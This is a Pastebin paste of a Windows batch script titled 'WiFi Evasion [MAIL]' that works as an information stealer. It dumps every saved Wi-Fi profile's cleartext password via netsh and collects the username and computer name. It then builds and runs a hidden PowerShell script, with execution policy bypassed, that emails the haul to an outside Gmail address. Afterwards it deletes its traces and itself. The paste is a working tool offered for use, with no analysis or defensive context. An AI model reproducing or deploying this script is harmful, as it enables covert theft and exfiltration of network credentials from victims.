Advertisement
FlyFar

WiFi-Evasion-[MAIL.-VERSION].BAT

Mar 9th, 2023
1,259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Batch 2.70 KB | Cybersecurity | 0 0
  1. @ECHO OFF & SETLOCAL ENABLEDELAYEDEXPANSION
  2. TITLE WiFi Evasion [MAIL] - LESiO
  3. MODE CON COLS=18 LINES=1
  4. CLS & COLOR 05
  5. SET C=0
  6. SET L=0
  7. CALL :S
  8. CALL :L
  9. SET O=%RANDOM%%RANDOM%%RANDOM%
  10. SET O2=%RANDOM%%RANDOM%%RANDOM%
  11. SET PASSWORDLOGS=%TEMP%\%O%.TXT
  12. SET MAILSCRIPT=%TEMP%\%O2%.PS1
  13.     ECHO WiFi Evasion - LESiO >> %PASSWORDLOGS%
  14.     ECHO( >> %PASSWORDLOGS%
  15.     ECHO DATE : %DATE% %TIME% >> %PASSWORDLOGS%
  16.     ECHO USERNAME : %USERNAME% >> %PASSWORDLOGS%
  17.     ECHO COMPUTER : %COMPUTERNAME% >> %PASSWORDLOGS%
  18.     ECHO PROCESSOR ARCHITECTURE : %PROCESSOR_ARCHITECTURE% >> %PASSWORDLOGS%
  19.     ECHO( >> %PASSWORDLOGS%
  20.     ECHO [N][SSID] ====^> [PASSWORD] >>%PASSWORDLOGS%
  21.     ECHO( >> %PASSWORDLOGS%
  22. FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES') DO (
  23.     IF NOT "%%A"=="" (
  24.         SET "SSID=%%A"
  25.         SET "SSID=!SSID:~1!"
  26.         CALL :P "!SSID!"
  27.     )
  28. )
  29. TYPE %PASSWORDLOGS%
  30. FOR /F "TOKENS=* DELIMS=" %%X IN (%PASSWORDLOGS%) DO SET BODY=!BODY!%%X
  31.     ECHO $MailFrom = "sender@gmail.com" >> %MAILSCRIPT%
  32.     ECHO $MailTo = "receiver@gmail.com" >> %MAILSCRIPT%
  33.     ECHO $Subject = "WiFi Evasion - %USERNAME%" >> %MAILSCRIPT%
  34.     ECHO $Body = "%BODY%" >> %MAILSCRIPT%
  35.     ECHO $SMTPServer = "smtp.gmail.com" >> %MAILSCRIPT%
  36.     ECHO $SMTPClient = New-Object Net.Mail.SMTPClient($SMTPServer, 587) >> %MAILSCRIPT%
  37.     ECHO $SMTPClient.EnableSSL = $True >> %MAILSCRIPT%
  38.     ECHO $SMTPClient.Credentials = New-Object System.Net.NetworkCredential("sender@gmail.com", "SenderPassword"); >> %MAILSCRIPT%
  39.     ECHO $SMTPClient.Send($MailFrom, $MailTo, $Subject, $Body) >> %MAILSCRIPT%
  40.     START POWERSHELL.EXE -EXECUTIONPOLICY BYPASS -FILE "%MAILSCRIPT%"
  41. TIMEOUT /T 5
  42. DEL %MAILSCRIPT%
  43. DEL %PASSWORDLOGS%
  44. (GOTO) 2>NUL & DEL "%~F0"
  45. :P
  46. SET "NAME=%1"
  47. SET "NAME=!NAME:"=!"
  48. SET "PASSWORD="
  49. FOR /F "DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES %1 KEY^=CLEAR ^|FIND /I "CONT"') DO (
  50.     SET "PASSWORD=%%A"
  51.     SET /A C+=1
  52. )
  53. IF DEFINED PASSWORD (
  54.     SET PASSWORD=!PASSWORD:~1!
  55.     ECHO [!C!][!NAME!] ====^> [!PASSWORD!] >> "%PASSWORDLOGS%"
  56. ) ELSE (
  57.     SET /A C+=1
  58. ECHO [!C!][!NAME!] EMPTY PASSWORD >> "%PASSWORDLOGS%"
  59. )
  60. EXIT /B
  61. :S
  62. PROMPT $G
  63. FOR /F "DELIMS=." %%A IN ('"PROMPT $H. & FOR %%B IN (1) DO REM"') DO SET "BS=%%A"
  64. EXIT /B
  65. :C
  66. SET NL=%3
  67. IF NOT DEFINED NL ECHO REQUIRES THIRD ARGUMENT & PAUSE > NUL & GOTO :EOF
  68. IF %3 == 0 (
  69.     <NUL SET /P ".=%BS%">%2 & FINDSTR /V /A:%1 /R "^$" %2 NUL & DEL %2 2>&1 & GOTO :EOF
  70. ) ELSE IF %3 == 1 (
  71.     ECHO %BS%>%2 & FINDSTR /V /A:%1 /R "^$" %2 NUL & DEL %2 2>&1 & GOTO :EOF
  72. )
  73. EXIT /B
  74. :L
  75. FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES') DO (
  76.     IF NOT "%%A"=="" (
  77.         SET /A L+=1
  78.     )
  79. )
  80. SET /A L=!L! + 10
  81. EXIT /B
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement